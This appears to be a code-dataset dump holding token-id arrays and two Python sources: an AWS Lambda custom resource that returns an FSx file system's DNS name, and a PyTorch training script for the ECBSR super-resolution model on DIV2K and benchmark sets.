29914,
29966,
524,
29901,
12690,
29918,
333,
29958,
742,
3519,
29922,
1839,
7194,
11287,
13,
1753,
7882,
29918,
705,
1624,
29898,
12690,
29918,
333,
1125,
13,
1678,
4613,
353,
7274,
29889,
657,
877,
1124,
597,
2754,
29889,
3150,
705,
493,
837,
481,
29889,
990,
29914,
1272,
29914,
29906,
29889,
29945,
29914,
705,
1624,
29973,
333,
16328,
29881,
29987,
348,
1169,
29922,
26039,
616,
29915,
1273,
4272,
29918,
333,
29897,
13,
1678,
736,
4613,
29889,
726,
29892,
4613,
29889,
4882,
29918,
401,
13,
13,
361,
4770,
978,
1649,
1275,
525,
1649,
3396,
1649,
2396,
13,
1678,
623,
29889,
3389,
29898,
3069,
2433,
29900,
29889,
29900,
29889,
29900,
29889,
29900,
742,
2011,
29922,
359,
29889,
21813,
29889,
657,
877,
15082,
742,
29871,
29947,
29900,
29900,
29900,
876,
13,
2
] |
source/fsx-dns-name.py | alcousins/aws-edit-in-the-cloud | 36 | 176625 | <reponame>alcousins/aws-edit-in-the-cloud
"""
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing,
software distributed under the License is distributed on an
"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
KIND, either express or implied. See the License for the
specific language governing permissions and limitations
under the License.
"""
import os
import json
import boto3
from botocore.config import Config
from crhelper import CfnResource
import logging
# Init boto config
BOTO_CONFIG = json.loads(os.environ['botoConfig'])
CONFIG = Config(**BOTO_CONFIG)
logger = logging.getLogger(__name__)
# Initialise the helper, all inputs are optional, this example shows the defaults
helper = CfnResource(json_logging=False, log_level='INFO', boto_level='CRITICAL')
try:
## Init code
pass
except Exception as e:
helper.init_failure(e)
@helper.create
def create(event, context):
logger.info("Got Create")
logger.info(event)
# Optionally return an ID that will be used for the resource PhysicalResourceId,
# if None is returned an ID will be generated. If a poll_create function is defined
# return value is placed into the poll event as event['CrHelperData']['PhysicalResourceId']
#
# To add response data update the helper.Data dict
# If poll is enabled data is placed into poll event as event['CrHelperData']
"""
Get FSx DNS Name
"""
fsx_windows = boto3.client('fsx', config=CONFIG)
# Parameters, as a list
file_system_id = [event['ResourceProperties']['FileSystemId']]
logger.info(f"file_system_id - {file_system_id}")
# Get SGW Info
response = fsx_windows.describe_file_systems(FileSystemIds=file_system_id)
logger.info(json.dumps(response, indent=4, sort_keys=True, default=str))
fsx_dns_name = response['FileSystems'][0]['DNSName']
logger.info(fsx_dns_name)
# get FSx DNS Name
helper.Data.update({
"FSxDNSName": fsx_dns_name
})
# retrun gateway_arn used in 'delete' action as PhysicalResourceId
return fsx_dns_name
@helper.update
def update(event, context):
logger.info("Got Update")
logger.info(event)
# If the update resulted in a new resource being created, return an id for the new resource.
# CloudFormation will send a delete event with the old id when stack update completes
return True
@helper.delete
def delete(event, context):
logger.info("Got Delete")
logger.info(event)
# Delete never returns anything. Should not fail if the underlying resources are already deleted.
# Desired state.
return True
@helper.poll_create
def poll_create(event, context):
logger.info("Got create poll")
logger.info(event)
# Return a resource id or True to indicate that creation is complete. if True is returned an id
# will be generated
fsx_dns_name = event['CrHelperData']['PhysicalResourceId']
logger.info(fsx_dns_name)
# get FSx DNS Name
helper.Data.update({
"FSxDNSName": fsx_dns_name
})
# Used in 'delete' action as PhysicalResourceId
return fsx_dns_name
def handler(event, context):
helper(event, context)
| [
1,
529,
276,
1112,
420,
29958,
284,
29883,
681,
1144,
29914,
10467,
29899,
5628,
29899,
262,
29899,
1552,
29899,
9274,
13,
15945,
19451,
13,
1124,
597,
1636,
29889,
4288,
29889,
990,
29914,
506,
11259,
29914,
27888,
1430,
1660,
29899,
29906,
29889,
29900,
30004,
13,
30004,
13,
2525,
2222,
3734,
491,
22903,
4307,
470,
15502,
304,
297,
5007,
11167,
13,
20415,
13235,
1090,
278,
19245,
338,
13235,
373,
385,
30004,
13,
29908,
3289,
8519,
29908,
350,
3289,
3235,
29892,
399,
1806,
8187,
2692,
399,
1718,
29934,
13566,
29059,
6323,
8707,
29928,
22122,
29903,
8079,
13764,
29979,
30004,
13,
29968,
22255,
29892,
2845,
4653,
470,
2411,
2957,
29889,
29871,
2823,
278,
19245,
363,
278,
30004,
13,
14940,
4086,
14765,
1076,
11239,
322,
27028,
30004,
13,
5062,
278,
19245,
22993,
13,
15945,
19451,
13,
30004,
13,
5215,
2897,
30004,
13,
5215,
4390,
30004,
13,
5215,
289,
3747,
29941,
30004,
13,
3166,
9225,
542,
487,
29889,
2917,
1053,
12782,
30004,
13,
3166,
2181,
20907,
1053,
315,
9144,
6848,
30004,
13,
5215,
12183,
30004,
13,
30004,
13,
29937,
10886,
289,
3747,
2295,
30004,
13,
30004,
13,
29933,
2891,
29949,
29918,
25903,
353,
4390,
29889,
18132,
29898,
359,
29889,
21813,
1839,
29890,
3747,
3991,
2033,
8443,
13,
25903,
353,
12782,
29898,
1068,
29933,
2891,
29949,
29918,
25903,
8443,
13,
30004,
13,
21707,
353,
12183,
29889,
657,
16363,
22168,
978,
1649,
8443,
13,
29937,
17250,
895,
278,
16876,
29892,
599,
10970,
526,
13136,
29892,
445,
1342,
3697,
278,
21274,
30004,
13,
30004,
13,
20907,
353,
315,
9144,
6848,
29898,
3126,
29918,
21027,
29922,
8824,
29892,
1480,
29918,
5563,
2433,
11690,
742,
289,
3747,
29918,
5563,
2433,
11341,
1806,
2965,
1964,
1495,
30004,
13,
2202,
29901,
30004,
13,
1678,
444,
10886,
775,
30004,
13,
1678,
1209,
30004,
13,
19499,
8960,
408,
321,
29901,
30004,
13,
1678,
16876,
29889,
2344,
29918,
14057,
545,
29898,
29872,
8443,
13,
30004,
13,
29992,
20907,
29889,
3258,
30004,
13,
1753,
1653,
29898,
3696,
29892,
3030,
1125,
30004,
13,
1678,
17927,
29889,
3888,
703,
29954,
327,
6204,
1159,
30004,
13,
1678,
17927,
29889,
3888,
29898,
3696,
8443,
13,
1678,
396,
10831,
635,
736,
385,
3553,
393,
674,
367,
1304,
363,
278,
6503,
11661,
936,
6848,
1204,
29892,
6756,
13,
1678,
396,
565,
6213,
338,
4133,
385,
3553,
674,
367,
5759,
29889,
960,
263,
21180,
29918,
3258,
740,
338,
3342,
6756,
13,
1678,
396,
736,
995,
338,
7180,
964,
278,
21180,
1741,
408,
1741,
1839,
20647,
10739,
1469,
16215,
25847,
936,
6848,
1204,
2033,
30004,
13,
1678,
396,
30004,
13,
1678,
396,
1763,
788,
2933,
848,
2767,
278,
16876,
29889,
1469,
9657,
30004,
13,
1678,
396,
960,
21180,
338,
9615,
848,
338,
7180,
964,
21180,
1741,
408,
1741,
1839,
20647,
10739,
1469,
2033,
30004,
13,
1678,
9995,
30004,
13,
1678,
3617,
383,
29903,
29916,
16332,
4408,
30004,
13,
1678,
9995,
30004,
13,
1678,
18920,
29916,
29918,
10499,
353,
289,
3747,
29941,
29889,
4645,
877,
5847,
29916,
742,
2295,
29922,
25903,
8443,
13,
30004,
13,
1678,
396,
12662,
2699,
29892,
408,
263,
1051,
30004,
13,
1678,
934,
29918,
5205,
29918,
333,
353,
518,
3696,
1839,
6848,
11857,
16215,
2283,
3924,
1204,
2033,
29962,
30004,
13,
30004,
13,
1678,
17927,
29889,
3888,
29898,
29888,
29908,
1445,
29918,
5205,
29918,
333,
448,
426,
1445,
29918,
5205,
29918,
333,
27195,
30004,
13,
30004,
13,
1678,
396,
3617,
317,
29954,
29956,
22140,
30004,
13,
1678,
2933,
353,
18920,
29916,
29918,
10499,
29889,
2783,
29581,
29918,
1445,
29918,
5205,
29879,
29898,
2283,
3924,
21943,
29922,
1445,
29918,
5205,
29918,
333,
8443,
13,
1678,
17927,
29889,
3888,
29898,
3126,
29889,
29881,
17204,
29898,
5327,
29892,
29536,
29922,
29946,
29892,
2656,
29918,
8149,
29922,
5574,
29892,
2322,
29922,
710,
876,
30004,
13,
1678,
18920,
29916,
29918,
29881,
1983,
29918,
978,
353,
2933,
1839,
2283,
3924,
29879,
2033,
29961,
29900,
22322,
29928,
3059,
1170,
2033,
30004,
13,
1678,
17927,
29889,
3888,
29898,
5847,
29916,
29918,
29881,
1983,
29918,
978,
8443,
13,
1678,
6756,
13,
1678,
396,
679,
383,
29903,
29916,
16332,
4408,
30004,
13,
1678,
16876,
29889,
1469,
29889,
5504,
3319,
30004,
13,
4706,
376,
9998,
29916,
29928,
3059,
1170,
1115,
18920,
29916,
29918,
29881,
1983,
29918,
978,
30004,
13,
1678,
5615,
30004,
13,
30004,
13,
1678,
396,
5663,
348,
28646,
29918,
2753,
1304,
297,
525,
8143,
29915,
3158,
408,
11661,
936,
6848,
1204,
30004,
13,
1678,
736,
18920,
29916,
29918,
29881,
1983,
29918,
978,
30004,
13,
30004,
13,
29992,
20907,
29889,
5504,
30004,
13,
1753,
2767,
29898,
3696,
29892,
3030,
1125,
30004,
13,
1678,
17927,
29889,
3888,
703,
29954,
327,
10318,
1159,
30004,
13,
1678,
17927,
29889,
3888,
29898,
3696,
8443,
13,
1678,
396,
960,
278,
2767,
20601,
297,
263,
716,
6503,
1641,
2825,
29892,
736,
385,
1178,
363,
278,
716,
6503,
29889,
6756,
13,
1678,
396,
14293,
2500,
362,
674,
3638,
263,
5217,
1741,
411,
278,
2030,
1178,
746,
5096,
2767,
1614,
2167,
30004,
13,
30004,
13,
1678,
736,
5852,
30004,
13,
1678,
6756,
13,
29992,
20907,
29889,
8143,
30004,
13,
1753,
5217,
29898,
3696,
29892,
3030,
1125,
30004,
13,
1678,
17927,
29889,
3888,
703,
29954,
327,
21267,
1159,
30004,
13,
1678,
17927,
29889,
3888,
29898,
3696,
8443,
13,
1678,
396,
21267,
2360,
3639,
3099,
29889,
10575,
451,
4418,
565,
278,
14407,
7788,
526,
2307,
11132,
22993,
13,
1678,
396,
2726,
2859,
2106,
22993,
13,
30004,
13,
1678,
736,
5852,
30004,
13,
30004,
13,
29992,
20907,
29889,
29886,
3028,
29918,
3258,
30004,
13,
1753,
21180,
29918,
3258,
29898,
3696,
29892,
3030,
1125,
30004,
13,
1678,
17927,
29889,
3888,
703,
29954,
327,
1653,
21180,
1159,
30004,
13,
1678,
17927,
29889,
3888,
29898,
3696,
8443,
13,
1678,
396,
7106,
263,
6503,
1178,
470,
5852,
304,
12266,
393,
11265,
338,
4866,
29889,
565,
5852,
338,
4133,
385,
1178,
6756,
13,
1678,
396,
674,
367,
5759,
30004,
13,
1678,
6756,
13,
1678,
18920,
29916,
29918,
29881,
1983,
29918,
978,
353,
1741,
1839,
20647,
10739,
1469,
16215,
25847,
936,
6848,
1204,
2033,
30004,
13,
1678,
17927,
29889,
3888,
29898,
5847,
29916,
29918,
29881,
1983,
29918,
978,
8443,
13,
1678,
396,
679,
383,
29903,
29916,
16332,
4408,
30004,
13,
1678,
16876,
29889,
1469,
29889,
5504,
3319,
30004,
13,
4706,
376,
9998,
29916,
29928,
3059,
1170,
1115,
18920,
29916,
29918,
29881,
1983,
29918,
978,
30004,
13,
1678,
5615,
30004,
13,
1678,
6756,
13,
1678,
396,
501,
8485,
297,
525,
8143,
29915,
3158,
408,
11661,
936,
6848,
1204,
1678,
6756,
13,
1678,
736,
18920,
29916,
29918,
29881,
1983,
29918,
978,
30004,
13,
30004,
13,
1753,
7834,
29898,
3696,
29892,
3030,
1125,
30004,
13,
1678,
16876,
29898,
3696,
29892,
3030,
8443,
13,
2
] |
train.py | thinkreed/ECBSR | 162 | 50941 | import torch
import torch.nn as nn
import torch.nn.functional as F
from datas.benchmark import Benchmark
from datas.div2k import DIV2K
from models.ecbsr import ECBSR
from torch.utils.data import DataLoader
import math
import argparse, yaml
import utils
import os
from tqdm import tqdm
import logging
import sys
import time
parser = argparse.ArgumentParser(description='ECBSR')
## yaml configuration files
parser.add_argument('--config', type=str, default=None, help = 'pre-config file for training')
## paramters for ecbsr
parser.add_argument('--scale', type=int, default=2, help = 'scale for sr network')
parser.add_argument('--colors', type=int, default=1, help = '1(Y channls of YCbCr)')
parser.add_argument('--m_ecbsr', type=int, default=4, help = 'number of ecb')
parser.add_argument('--c_ecbsr', type=int, default=8, help = 'channels of ecb')
parser.add_argument('--idt_ecbsr', type=int, default=0, help = 'incorporate identity mapping in ecb or not')
parser.add_argument('--act_type', type=str, default='prelu', help = 'prelu, relu, splus, rrelu')
parser.add_argument('--pretrain', type=str, default=None, help = 'path of pretrained model')
## parameters for model training
parser.add_argument('--patch_size', type=int, default=64, help = 'patch size of HR image')
parser.add_argument('--batch_size', type=int, default=32, help = 'batch size of training data')
parser.add_argument('--data_repeat', type=int, default=1, help = 'times of repetition for training data')
parser.add_argument('--data_augment', type=int, default=1, help = 'data augmentation for training')
parser.add_argument('--epochs', type=int, default=600, help = 'number of epochs')
parser.add_argument('--test_every', type=int, default=1, help = 'test the model every N epochs')
parser.add_argument('--log_every', type=int, default=1, help = 'print log of loss, every N steps')
parser.add_argument('--log_path', type=str, default="./experiments/")
parser.add_argument('--lr', type=float, default=5e-4, help = 'learning rate of optimizer')
parser.add_argument('--store_in_ram', type=int, default=0, help = 'store the whole training data in RAM or not')
## hardware specification
parser.add_argument('--gpu_id', type=int, default=0, help = 'gpu id for training')
parser.add_argument('--threads', type=int, default=1, help = 'number of threads for training')
## dataset specification
parser.add_argument('--div2k_hr_path', type=str, default='/Users/xindongzhang/Documents/SRData/DIV2K/DIV2K_train_HR', help = '')
parser.add_argument('--div2k_lr_path', type=str, default='/Users/xindongzhang/Documents/SRData/DIV2K/DIV2K_train_LR_bicubic', help = '')
parser.add_argument('--set5_hr_path', type=str, default='/Users/xindongzhang/Documents/SRData/benchmark/Set5/HR', help = '')
parser.add_argument('--set5_lr_path', type=str, default='/Users/xindongzhang/Documents/SRData/benchmark/Set5/LR_bicubic', help = '')
parser.add_argument('--set14_hr_path', type=str, default='/Users/xindongzhang/Documents/SRData/benchmark/Set14/HR', help = '')
parser.add_argument('--set14_lr_path', type=str, default='/Users/xindongzhang/Documents/SRData/benchmark/Set14/LR_bicubic', help = '')
parser.add_argument('--b100_hr_path', type=str, default='/Users/xindongzhang/Documents/SRData/benchmark/B100/HR', help = '')
parser.add_argument('--b100_lr_path', type=str, default='/Users/xindongzhang/Documents/SRData/benchmark/B100/LR_bicubic', help = '')
parser.add_argument('--u100_hr_path', type=str, default='/Users/xindongzhang/Documents/SRData/benchmark/Urban100/HR', help = '')
parser.add_argument('--u100_lr_path', type=str, default='/Users/xindongzhang/Documents/SRData/benchmark/Urban100/LR_bicubic', help = '')
if __name__ == '__main__':
args = parser.parse_args()
if args.config:
opt = vars(args)
yaml_args = yaml.load(open(args.config), Loader=yaml.FullLoader)
opt.update(yaml_args)
if args.colors == 3:
raise ValueError("ECBSR is trained and tested with colors=1.")
device = None
if args.gpu_id >= 0 and torch.cuda.is_available():
print("use cuda & cudnn for acceleration!")
print("the gpu id is: {}".format(args.gpu_id))
device = torch.device('cuda:{}'.format(args.gpu_id))
torch.backends.cudnn.benchmark = True
else:
print("use cpu for training!")
device = torch.device('cpu')
torch.set_num_threads(args.threads)
div2k = DIV2K(
args.div2k_hr_path,
args.div2k_lr_path,
train=True,
augment=args.data_augment,
scale=args.scale,
colors=args.colors,
patch_size=args.patch_size,
repeat=args.data_repeat,
store_in_ram=args.store_in_ram
)
set5 = Benchmark(args.set5_hr_path, args.set5_lr_path, scale=args.scale, colors=args.colors, store_in_ram=args.store_in_ram)
set14 = Benchmark(args.set14_hr_path, args.set14_lr_path, scale=args.scale, colors=args.colors, store_in_ram=args.store_in_ram)
b100 = Benchmark(args.b100_hr_path, args.b100_lr_path, scale=args.scale, colors=args.colors, store_in_ram=args.store_in_ram)
u100 = Benchmark(args.u100_hr_path, args.u100_lr_path, scale=args.scale, colors=args.colors, store_in_ram=args.store_in_ram)
train_dataloader = DataLoader(dataset=div2k, num_workers=args.threads, batch_size=args.batch_size, shuffle=True, pin_memory=True, drop_last=True)
valid_dataloaders = []
valid_dataloaders += [{'name': 'set5', 'dataloader': DataLoader(dataset=set5, batch_size=1, shuffle=False)}]
valid_dataloaders += [{'name': 'set14', 'dataloader': DataLoader(dataset=set14, batch_size=1, shuffle=False)}]
valid_dataloaders += [{'name': 'b100', 'dataloader': DataLoader(dataset=b100, batch_size=1, shuffle=False)}]
valid_dataloaders += [{'name': 'u100', 'dataloader': DataLoader(dataset=u100, batch_size=1, shuffle=False)}]
## definitions of model, loss, and optimizer
model = ECBSR(module_nums=args.m_ecbsr, channel_nums=args.c_ecbsr, with_idt=args.idt_ecbsr, act_type=args.act_type, scale=args.scale, colors=args.colors).to(device)
loss_func = nn.L1Loss()
optimizer = torch.optim.Adam(model.parameters(), lr=args.lr)
if args.pretrain is not None:
print("load pretrained model: {}!".format(args.pretrain))
model.load_state_dict(torch.load(args.pretrain))
else:
print("train the model from scratch!")
## auto-generate the output logname
timestamp = utils.cur_timestamp_str()
experiment_name = "ecbsr-x{}-m{}c{}-{}-{}".format(args.scale, args.m_ecbsr, args.c_ecbsr, args.act_type, timestamp)
experiment_path = os.path.join(args.log_path, experiment_name)
if not os.path.exists(experiment_path):
os.makedirs(experiment_path)
experiment_model_path = os.path.join(experiment_path, 'models')
if not os.path.exists(experiment_model_path):
os.makedirs(experiment_model_path)
log_name = os.path.join(experiment_path, "log.txt")
sys.stdout = utils.ExperimentLogger(log_name, sys.stdout)
stat_dict = utils.get_stat_dict()
## save training paramters
exp_params = vars(args)
exp_params_name = os.path.join(experiment_path, 'config.yml')
with open(exp_params_name, 'w') as exp_params_file:
yaml.dump(exp_params, exp_params_file, default_flow_style=False)
timer_start = time.time()
for epoch in range(args.epochs):
epoch_loss = 0.0
stat_dict['epochs'] = epoch
model = model.train()
print("##===========Epoch: {}=============##".format(epoch))
for iter, batch in enumerate(train_dataloader):
optimizer.zero_grad()
lr, hr = batch
lr, hr = lr.to(device), hr.to(device)
sr = model(lr)
loss = loss_func(sr, hr)
loss.backward()
optimizer.step()
epoch_loss += float(loss)
if (iter + 1) % args.log_every == 0:
cur_steps = (iter+1)*args.batch_size
total_steps = len(train_dataloader.dataset)
fill_width = math.ceil(math.log10(total_steps))
cur_steps = str(cur_steps).zfill(fill_width)
epoch_width = math.ceil(math.log10(args.epochs))
cur_epoch = str(epoch).zfill(epoch_width)
avg_loss = epoch_loss / (iter + 1)
stat_dict['losses'].append(avg_loss)
timer_end = time.time()
duration = timer_end - timer_start
timer_start = timer_end
print("Epoch:{}, {}/{}, loss: {:.4f}, time: {:.3f}".format(cur_epoch, cur_steps, total_steps, avg_loss, duration))
if (epoch + 1) % args.test_every == 0:
torch.set_grad_enabled(False)
test_log = ""
model = model.eval()
for valid_dataloader in valid_dataloaders:
avg_psnr = 0.0
avg_ssim = 0.0
name = valid_dataloader['name']
loader = valid_dataloader['dataloader']
for lr, hr in tqdm(loader, ncols=80):
lr, hr = lr.to(device), hr.to(device)
sr = model(lr)
# crop
hr = hr[:, :, args.scale:-args.scale, args.scale:-args.scale]
sr = sr[:, :, args.scale:-args.scale, args.scale:-args.scale]
# quantize
hr = hr.clamp(0, 255)
sr = sr.clamp(0, 255)
# calculate psnr
psnr = utils.calc_psnr(sr, hr)
ssim = utils.calc_ssim(sr, hr)
avg_psnr += psnr
avg_ssim += ssim
avg_psnr = round(avg_psnr/len(loader), 2)
avg_ssim = round(avg_ssim/len(loader), 4)
stat_dict[name]['psnrs'].append(avg_psnr)
stat_dict[name]['ssims'].append(avg_ssim)
if stat_dict[name]['best_psnr']['value'] < avg_psnr:
stat_dict[name]['best_psnr']['value'] = avg_psnr
stat_dict[name]['best_psnr']['epoch'] = epoch
if stat_dict[name]['best_ssim']['value'] < avg_ssim:
stat_dict[name]['best_ssim']['value'] = avg_ssim
stat_dict[name]['best_ssim']['epoch'] = epoch
test_log += "[{}-X{}], PSNR/SSIM: {:.2f}/{:.4f} (Best: {:.2f}/{:.4f}, Epoch: {}/{})\n".format(
name, args.scale, float(avg_psnr), float(avg_ssim),
stat_dict[name]['best_psnr']['value'], stat_dict[name]['best_ssim']['value'],
stat_dict[name]['best_psnr']['epoch'], stat_dict[name]['best_ssim']['epoch'])
# print log & flush out
print(test_log)
sys.stdout.flush()
# save model
saved_model_path = os.path.join(experiment_model_path, 'model_x{}_{}.pt'.format(args.scale, epoch))
torch.save(model.state_dict(), saved_model_path)
torch.set_grad_enabled(True)
# save stat dict
## save training paramters
stat_dict_name = os.path.join(experiment_path, 'stat_dict.yml')
with open(stat_dict_name, 'w') as stat_dict_file:
yaml.dump(stat_dict, stat_dict_file, default_flow_style=False) | [
1,
1053,
4842,
305,
13,
5215,
4842,
305,
29889,
15755,
408,
302,
29876,
13,
5215,
4842,
305,
29889,
15755,
29889,
2220,
284,
408,
383,
13,
3166,
6155,
29889,
1785,
16580,
1053,
4111,
16580,
13,
3166,
6155,
29889,
4563,
29906,
29895,
1053,
360,
5667,
29906,
29968,
13,
3166,
4733,
29889,
687,
5824,
29878,
1053,
17522,
9851,
29934,
13,
3166,
4842,
305,
29889,
13239,
29889,
1272,
1053,
3630,
10036,
13,
5215,
5844,
13,
5215,
1852,
5510,
29892,
343,
8807,
13,
5215,
3667,
29879,
13,
5215,
2897,
13,
3166,
260,
29939,
18933,
1053,
260,
29939,
18933,
13,
5215,
12183,
13,
5215,
10876,
13,
5215,
931,
13,
13,
13,
16680,
353,
1852,
5510,
29889,
15730,
11726,
29898,
8216,
2433,
11206,
9851,
29934,
1495,
13,
13,
2277,
343,
8807,
5285,
2066,
13,
16680,
29889,
1202,
29918,
23516,
877,
489,
2917,
742,
1134,
29922,
710,
29892,
2322,
29922,
8516,
29892,
1371,
353,
525,
1457,
29899,
2917,
934,
363,
6694,
1495,
13,
13,
2277,
1828,
2153,
363,
21226,
5824,
29878,
13,
16680,
29889,
1202,
29918,
23516,
877,
489,
7052,
742,
1134,
29922,
524,
29892,
2322,
29922,
29906,
29892,
1371,
353,
525,
7052,
363,
27236,
3564,
1495,
13,
16680,
29889,
1202,
29918,
23516,
877,
489,
27703,
742,
1134,
29922,
524,
29892,
2322,
29922,
29896,
29892,
1371,
353,
525,
29896,
29898,
29979,
521,
812,
3137,
310,
612,
29907,
29890,
20647,
29897,
1495,
13,
16680,
29889,
1202,
29918,
23516,
877,
489,
29885,
29918,
687,
5824,
29878,
742,
1134,
29922,
524,
29892,
2322,
29922,
29946,
29892,
1371,
353,
525,
4537,
310,
321,
10702,
1495,
13,
16680,
29889,
1202,
29918,
23516,
877,
489,
29883,
29918,
687,
5824,
29878,
742,
1134,
29922,
524,
29892,
2322,
29922,
29947,
29892,
1371,
353,
525,
305,
12629,
310,
321,
10702,
1495,
13,
16680,
29889,
1202,
29918,
23516,
877,
489,
333,
29873,
29918,
687,
5824,
29878,
742,
1134,
29922,
524,
29892,
2322,
29922,
29900,
29892,
1371,
353,
525,
262,
2616,
1971,
403,
10110,
10417,
297,
321,
10702,
470,
451,
1495,
13,
16680,
29889,
1202,
29918,
23516,
877,
489,
627,
29918,
1853,
742,
1134,
29922,
710,
29892,
2322,
2433,
1457,
6092,
742,
1371,
353,
525,
1457,
6092,
29892,
1104,
29884,
29892,
8536,
375,
29892,
364,
2674,
29884,
1495,
13,
16680,
29889,
1202,
29918,
23516,
877,
489,
1457,
14968,
742,
1134,
29922,
710,
29892,
2322,
29922,
8516,
29892,
1371,
353,
525,
2084,
310,
758,
3018,
1312,
1904,
1495,
13,
13,
2277,
4128,
363,
1904,
6694,
13,
16680,
29889,
1202,
29918,
23516,
877,
489,
5041,
29918,
2311,
742,
1134,
29922,
524,
29892,
2322,
29922,
29953,
29946,
29892,
1371,
353,
525,
5041,
2159,
310,
379,
29934,
1967,
1495,
13,
16680,
29889,
1202,
29918,
23516,
877,
489,
16175,
29918,
2311,
742,
1134,
29922,
524,
29892,
2322,
29922,
29941,
29906,
29892,
1371,
353,
525,
16175,
2159,
310,
6694,
848,
1495,
13,
16680,
29889,
1202,
29918,
23516,
877,
489,
1272,
29918,
14358,
742,
1134,
29922,
524,
29892,
2322,
29922,
29896,
29892,
1371,
353,
525,
3706,
310,
21159,
654,
363,
6694,
848,
1495,
13,
16680,
29889,
1202,
29918,
23516,
877,
489,
1272,
29918,
2987,
358,
742,
1134,
29922,
524,
29892,
2322,
29922,
29896,
29892,
1371,
353,
525,
1272,
18765,
362,
363,
6694,
1495,
13,
16680,
29889,
1202,
29918,
23516,
877,
489,
1022,
2878,
29879,
742,
1134,
29922,
524,
29892,
2322,
29922,
29953,
29900,
29900,
29892,
1371,
353,
525,
4537,
310,
21502,
12168,
1495,
13,
16680,
29889,
1202,
29918,
23516,
877,
489,
1688,
29918,
17991,
742,
1134,
29922,
524,
29892,
2322,
29922,
29896,
29892,
1371,
353,
525,
1688,
278,
1904,
1432,
405,
21502,
12168,
1495,
13,
16680,
29889,
1202,
29918,
23516,
877,
489,
1188,
29918,
17991,
742,
1134,
29922,
524,
29892,
2322,
29922,
29896,
29892,
1371,
353,
525,
2158,
1480,
310,
6410,
29892,
1432,
405,
6576,
1495,
13,
16680,
29889,
1202,
29918,
23516,
877,
489,
1188,
29918,
2084,
742,
1134,
29922,
710,
29892,
2322,
543,
6904,
735,
546,
7862,
29914,
1159,
13,
16680,
29889,
1202,
29918,
23516,
877,
489,
29212,
742,
1134,
29922,
7411,
29892,
2322,
29922,
29945,
29872,
29899,
29946,
29892,
1371,
353,
525,
21891,
6554,
310,
5994,
3950,
1495,
13,
16680,
29889,
1202,
29918,
23516,
877,
489,
8899,
29918,
262,
29918,
2572,
742,
1134,
29922,
524,
29892,
2322,
29922,
29900,
29892,
1371,
353,
525,
8899,
278,
3353,
6694,
848,
297,
18113,
470,
451,
1495,
13,
13,
2277,
12837,
21992,
13,
16680,
29889,
1202,
29918,
23516,
877,
489,
29887,
3746,
29918,
333,
742,
1134,
29922,
524,
29892,
2322,
29922,
29900,
29892,
1371,
353,
525,
29887,
3746,
1178,
363,
6694,
1495,
13,
16680,
29889,
1202,
29918,
23516,
877,
489,
28993,
742,
1134,
29922,
524,
29892,
2322,
29922,
29896,
29892,
1371,
353,
525,
4537,
310,
9717,
363,
6694,
1495,
13,
13,
2277,
8783,
21992,
13,
16680,
29889,
1202,
29918,
23516,
877,
489,
4563,
29906,
29895,
29918,
1092,
29918,
2084,
742,
1134,
29922,
710,
29892,
2322,
2433,
29914,
5959,
29914,
29916,
513,
549,
29920,
11895,
29914,
20128,
29914,
14098,
1469,
29914,
4571,
29963,
29906,
29968,
29914,
4571,
29963,
29906,
29968,
29918,
14968,
29918,
20938,
742,
1371,
353,
27255,
13,
16680,
29889,
1202,
29918,
23516,
877,
489,
4563,
29906,
29895,
29918,
29212,
29918,
2084,
742,
1134,
29922,
710,
29892,
2322,
2433,
29914,
5959,
29914,
29916,
513,
549,
29920,
11895,
29914,
20128,
29914,
14098,
1469,
29914,
4571,
29963,
29906,
29968,
29914,
4571,
29963,
29906,
29968,
29918,
14968,
29918,
29519,
29918,
29890,
293,
431,
293,
742,
1371,
353,
27255,
13,
16680,
29889,
1202,
29918,
23516,
877,
489,
842,
29945,
29918,
1092,
29918,
2084,
742,
1134,
29922,
710,
29892,
2322,
2433,
29914,
5959,
29914,
29916,
513,
549,
29920,
11895,
29914,
20128,
29914,
14098,
1469,
29914,
1785,
16580,
29914,
2697,
29945,
29914,
20938,
742,
1371,
353,
27255,
13,
16680,
29889,
1202,
29918,
23516,
877,
489,
842,
29945,
29918,
29212,
29918,
2084,
742,
1134,
29922,
710,
29892,
2322,
2433,
29914,
5959,
29914,
29916,
513,
549,
29920,
11895,
29914,
20128,
29914,
14098,
1469,
29914,
1785,
16580,
29914,
2697,
29945,
29914,
29519,
29918,
29890,
293,
431,
293,
742,
1371,
353,
27255,
13,
16680,
29889,
1202,
29918,
23516,
877,
489,
842,
29896,
29946,
29918,
1092,
29918,
2084,
742,
1134,
29922,
710,
29892,
2322,
2433,
29914,
5959,
29914,
29916,
513,
549,
29920,
11895,
29914,
20128,
29914,
14098,
1469,
29914,
1785,
16580,
29914,
2697,
29896,
29946,
29914,
20938,
742,
1371,
353,
27255,
13,
16680,
29889,
1202,
29918,
23516,
877,
489,
842,
29896,
29946,
29918,
29212,
29918,
2084,
742,
1134,
29922,
710,
29892,
2322,
2433,
29914,
5959,
29914,
29916,
513,
549,
29920,
11895,
29914,
20128,
29914,
14098,
1469,
29914,
1785,
16580,
29914,
2697,
29896,
29946,
29914,
29519,
29918,
29890,
293,
431,
293,
742,
1371,
353,
27255,
13,
16680,
29889,
1202,
29918,
23516,
877,
489,
29890,
29896,
29900,
29900,
29918,
1092,
29918,
2084,
742,
1134,
29922,
710,
29892,
2322,
2433,
29914,
5959,
29914,
29916,
513,
549,
29920,
11895,
29914,
20128,
29914,
14098,
1469,
29914,
1785,
16580,
29914,
29933,
29896,
29900,
29900,
29914,
20938,
742,
1371,
353,
27255,
13,
16680,
29889,
1202,
29918,
23516,
877,
489,
29890,
29896,
29900,
29900,
29918,
29212,
29918,
2084,
742,
1134,
29922,
710,
29892,
2322,
2433,
29914,
5959,
29914,
29916,
513,
549,
29920,
11895,
29914,
20128,
29914,
14098,
1469,
29914,
1785,
16580,
29914,
29933,
29896,
29900,
29900,
29914,
29519,
29918,
29890,
293,
431,
293,
742,
1371,
353,
27255,
13,
16680,
29889,
1202,
29918,
23516,
877,
489,
29884,
29896,
29900,
29900,
29918,
1092,
29918,
2084,
742,
1134,
29922,
710,
29892,
2322,
2433,
29914,
5959,
29914,
29916,
513,
549,
29920,
11895,
29914,
20128,
29914,
14098,
1469,
29914,
1785,
16580,
29914,
29965,
29878,
2571,
29896,
29900,
29900,
29914,
20938,
742,
1371,
353,
27255,
13,
16680,
29889,
1202,
29918,
23516,
877,
489,
29884,
29896,
29900,
29900,
29918,
29212,
29918,
2084,
742,
1134,
29922,
